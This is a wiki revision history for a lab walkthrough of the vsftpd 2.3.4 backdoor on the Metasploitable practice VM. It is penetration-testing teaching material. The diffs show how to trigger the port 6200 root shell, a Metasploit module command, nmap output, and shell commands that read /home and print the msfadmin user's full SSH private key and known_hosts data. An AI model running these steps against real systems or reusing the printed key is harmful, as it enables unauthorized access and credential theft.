Metasploitable/VSFTP - Revision history

Admin at 04:42, 7 May 2017

2017-05-07T04:42:01Z

← Older revision		Revision as of 04:42, 7 May 2017
Line 3:		Line 3:
	VSFPT is an ftp server program.		VSFPT is an ftp server program.

	Version 2.3.4 of vsftp contained a backdoor that was slipped into the servers hosting the source code by an unknown person. The particular version of VSFTP included on the Metasploitable virtual machine contains a vulnerability that opens a backdoor shell. If a client attempts to connect using a username that ends in a smiley <code>:)</code>, it opens a backdoor shell listening on port 6200. (Kind of like 2600 - get it?)		Version 2.3.4 of vsftp contained a backdoor that was slipped into the servers hosting the source code by an unknown person. The particular version of VSFTP included on the Metasploitable virtual machine contains a vulnerability that opens a backdoor shell. If a client attempts to connect using a username that ends in a smiley <code>:)</code>, it opens a backdoor shell listening on port 6200. (Kind of like [[2600]] - get it?)

	This allows the user to obtain a root shell, view the contents of files, modify things, etc., all by attempting to login with a username ending in :). (Note that the login attempt DOES NOT have to be successful!)		This allows the user to obtain a root shell, view the contents of files, modify things, etc., all by attempting to login with a username ending in :). (Note that the login attempt DOES NOT have to be successful!)

Admin: /* Related */

2016-03-25T17:33:15Z

← Older revision		Revision as of 17:33, 25 March 2016
Line 229:		Line 229:

	Once you have disconnected from the remote shell on port 6200, the port will close again. You can always re-open it using the same method outlined above.		Once you have disconnected from the remote shell on port 6200, the port will close again. You can always re-open it using the same method outlined above.

			=Backdoor (Metasploit)=

			To get into the backdoor with metasploit:

			https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor

			<code>use exploit/unix/ftp/vsftpd_234_backdoor</code>

	=Related=		=Related=

Admin: /* Backdoor */

2016-03-25T17:32:31Z

Backdoor

← Older revision		Revision as of 17:32, 25 March 2016
Line 13:		Line 13:
	Rapid7 exploit information: https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor		Rapid7 exploit information: https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor

	=Backdoor=		=Backdoor (Manual)=

	==Opening Backdoor==		==Opening Backdoor==

Admin: /* The Background */

2016-03-25T17:32:14Z

The Background

← Older revision		Revision as of 17:32, 25 March 2016
Line 6:		Line 6:

	This allows the user to obtain a root shell, view the contents of files, modify things, etc., all by attempting to login with a username ending in :). (Note that the login attempt DOES NOT have to be successful!)		This allows the user to obtain a root shell, view the contents of files, modify things, etc., all by attempting to login with a username ending in :). (Note that the login attempt DOES NOT have to be successful!)

			The original blog post about this issue: http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html

			Pastebin containing backdoor code that was inserted: http://pastebin.com/AetT9sS5

			Rapid7 exploit information: https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor

	=Backdoor=		=Backdoor=

Admin: /* The Background */

2016-03-25T17:31:33Z

The Background

← Older revision		Revision as of 17:31, 25 March 2016
Line 1:		Line 1:
	=The Background=		=The Background=

	VSFPT is an ftp server program~~. The particular version of VSFTP included on the Metasploitable virtual machine contains a vulnerability that opens a backdoor shell~~.		VSFPT is an ftp server program.

	If a client attempts to connect using a username that ends in a smiley <code>:)</code>, it opens a backdoor shell listening on port 6200. (Kind of like 2600 - get it?)		Version 2.3.4 of vsftp contained a backdoor that was slipped into the servers hosting the source code by an unknown person. The particular version of VSFTP included on the Metasploitable virtual machine contains a vulnerability that opens a backdoor shell. If a client attempts to connect using a username that ends in a smiley <code>:)</code>, it opens a backdoor shell listening on port 6200. (Kind of like 2600 - get it?)

			This allows the user to obtain a root shell, view the contents of files, modify things, etc., all by attempting to login with a username ending in :). (Note that the login attempt DOES NOT have to be successful!)

	=Backdoor=		=Backdoor=

Admin: /* Stealing Private Key */

2016-03-25T14:47:45Z

Stealing Private Key

← Older revision		Revision as of 14:47, 25 March 2016
Line 218:		Line 218:
	</pre>		</pre>

			Because this VSFTP technique opens a backdoor whenever we want on port 6200, it is a convenient method for connecting and executing commands on the remote victim machine. However, other connection techniques may be more useful - for example, using scp without a password to deliver a payload to the victim machine.



			Once you have disconnected from the remote shell on port 6200, the port will close again. You can always re-open it using the same method outlined above.

	=Related=		=Related=

Admin: /* Utilizing Backdoor */

2016-03-25T14:44:53Z

Utilizing Backdoor

← Older revision		Revision as of 14:44, 25 March 2016
Line 147:		Line 147:


			===Stealing Private Key===

			We can steal the SSH private key of the msfadmin user using the backdoor shell we opened with VSFTP.

			<pre>
			ls /home;
			ftp
			msfadmin
			service
			user

			ls /home/msfadmin/;
			vulnerable

			ls -la /home/msfadmin/;
			total 36
			drwxr-xr-x 7 msfadmin msfadmin 4096 Mar 23 06:25 .
			drwxr-xr-x 6 root root 4096 Apr 16 2010 ..
			lrwxrwxrwx 1 root root 9 May 14 2012 .bash_history -> /dev/null
			drwxr-xr-x 4 msfadmin msfadmin 4096 Apr 17 2010 .distcc
			drwx------ 2 msfadmin msfadmin 4096 Mar 23 06:25 .gconf
			drwx------ 2 msfadmin msfadmin 4096 Mar 23 06:25 .gconfd
			-rw-r--r-- 1 msfadmin msfadmin 586 Mar 16 2010 .profile
			-rwx------ 1 msfadmin msfadmin 4 May 20 2012 .rhosts
			drwx------ 2 msfadmin msfadmin 4096 May 17 2010 .ssh
			drwxr-xr-x 6 msfadmin msfadmin 4096 Apr 27 2010 vulnerable

			ls -la /home/msfadmin/.ssh;
			total 20
			drwx------ 2 msfadmin msfadmin 4096 May 17 2010 .
			drwxr-xr-x 7 msfadmin msfadmin 4096 Mar 23 06:25 ..
			-rw-r--r-- 1 msfadmin msfadmin 609 May 7 2010 authorized_keys
			-rw------- 1 msfadmin msfadmin 1675 May 17 2010 id_rsa
			-rw-r--r-- 1 msfadmin msfadmin 405 May 17 2010 id_rsa.pub

			cat /home/msfadmin/.ssh/id_rsa;
			-----BEGIN RSA PRIVATE KEY-----
			MIIEoQIBAAKCAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqld
			JkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qO
			ffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5
			JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9I
			yhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7b
			wkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3wIBIwKCAQBaUjR5bUXnHGA5fd8N
			UqrUx0zeBQsKlv1bK5DVm1GSzLj4TU/S83B1NF5/1ihzofI7OAQvlCdUY2tHpGGa
			zQ6ImSpUQ5i9+GgBUOaklRL/i9cHdFv7PSonW+SvF1UKY5EidEJRb/O6oFgB5q8G
			JKrwu+HPNhvD+dliBnCn0JU+Op/1Af7XxAP814Rz0nZZwx+9KBWVdAAbBIQ5zpRO
			eBBlLSGDsnsQN/lG7w8sHDqsSt2BCK8c9ct31n14TK6HgOx3EuSbisEmKKwhWV6/
			ui/qWrrzurXA4Q73wO1cPtPg4sx2JBh3EMRm9tfyCCtB1gBi0N/2L7j9xuZGGY6h
			JETbAoGBANI8HzRjytWBMvXh6TnMOa5S7GjoLjdA3HXhekyd9DHywrA1pby5nWP7
			VNP+ORL/sSNl+jugkOVQYWGG1HZYHk+OQVo3qLiecBtp3GLsYGzANA/EDHmYMUSm
			4v3WnhgYMXMDxZemTcGEyLwurPHumgy5nygSEuNDKUFfWO3mymIXAoGBAMqZi3YL
			zDpL9Ydj6JhO51aoQVT91LpWMCgK5sREhAliWTWjlwrkroqyaWAUQYkLeyA8yUPZ
			PufBmrO0FkNa+4825vg48dyq6CVobHHR/GcjAzXiengi6i/tzHbA0PEai0aUmvwY
			OasZYEQI47geBvVD3v7D/gPDQNoXG/PWIPt5AoGBAMw6Z3S4tmkBKjCvkhrjpb9J
			PW05UXeA1ilesVG+Ayk096PcV9vngvNpLdVAGi+2jtHuCQa5PEx5+DLav8Nriyi2
			E5l35bqoiilCQ83PriCAMpL49iz6Pn00Z3o+My1ZVJudQ5qhjVznY+oBdM3DNpAE
			xn6yeL+DEiI/XbPngsWvAoGAbfuU2a6iEQSp28iFlIKa10VlS2U493CdzJg0IWcF
			2TVjoMaFMcyZQ/pzt9B7WQY7hodl8aHRsQKzERieXxQiKSxuwUN7+3K4iVXxuiGJ
			BMndK+FYbRpEnaz591K6kYNwLaEg70BZ0ek0QjC2Ih7t1ZnfdFvEaHFPF05foaAg
			iIMCgYAsNZut02SC6hwwaWh3Uxr07s6jB8HyrET0v1vOyOe3xSJ9YPt7c1Y20OQO
			Fb3Yq4pdHm7AosAgtfC1eQi/xbXP73kloEmg39NZAfT3wg817FXiS2QGHXJ4/dmK
			94Z9XOEDocClV7hr9H//hoO8fV/PHXh0oFQvw1d+29nf+sgWDg==
			-----END RSA PRIVATE KEY-----
			</pre>

			While we are at it, here is the public key too:

			<pre>
			ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable
			</pre>






			=Related=

	{{MSFlag}}		{{MSFlag}}

	{{KaliFlag}}		{{KaliFlag}}

Admin: /* Utilizing Backdoor */

2016-03-25T14:41:40Z

Utilizing Backdoor

← Older revision		Revision as of 14:41, 25 March 2016
Line 135:		Line 135:
	snmp:*:15480:0:99999:7:::		snmp:*:15480:0:99999:7:::
	</pre>		</pre>

			You can even grab ssh key information:

			<pre>
			cat authorized_keys;
			ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable

			cat known_hosts;
			\|1\|gS7DWzAxRvtufzEYnaW40GOvYu0=\|5afWvF6s4R5Yaog0mimuOyNfXiI= ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAstqnuFMBOZvO3WTEjP4TUdjgWkIVNdTq6kboEDjteOfc65TlI7sRvQBwqAhQjeeyyIk8T55gMDkOD0akSlSXvLDcmcdYfxeIF0ZSuT+nkRhij7XSSA/Oc5QSk3sJ/SInfb78e3anbRHpmkJcVgETJ5WhKObUNf1AKZW++4Xlc63M4KI5cjvMMIPEVOyR3AKmI78Fo3HJjYucg87JjLeC66I7+dlEYX6zT8i1XYwa/L1vZ3qSJISGVu8kRPikMv/cNSvki4j+qDYyZ2E5497W87+Ed46/8P42LNGoOV8OcX/ro6pAcbEPUdUEfkJrqi2YXbhvwIJ0gFMb6wfe5cnQew==
			</pre>

Admin: /* Opening the Backdoor */

2016-03-25T14:38:21Z

Opening the Backdoor

@@ Line 5: / Line 5: @@
 If a client attempts to connect using a username that ends in a smiley <code>:)</code>, it opens a backdoor shell listening on port 6200. (Kind of like 2600 - get it?)
-=Opening the Backdoor=
+=Backdoor=
 The procedure for opening a backdoor on port 6200 with VSFTP is as follows:
@@ Line 52: / Line 54: @@
 Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
 </pre>

Admin: /* Opening the Backdoor */

2016-03-25T14:35:35Z

Opening the Backdoor

← Older revision		Revision as of 14:35, 25 March 2016
Line 12:		Line 12:

	<pre>		<pre>
			root@morpheus:~# nmap -sS -p 6200 10.0.0.27

			Starting Nmap 7.01 ( https://nmap.org ) at 2016-03-25 07:33 PDT
			Nmap scan report for 10.0.0.27
			Host is up (0.00077s latency).
			PORT STATE SERVICE
			6200/tcp closed unknown
			MAC Address: 08:00:27:47:98:AD (Oracle VirtualBox virtual NIC)

			Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds
	</pre>		</pre>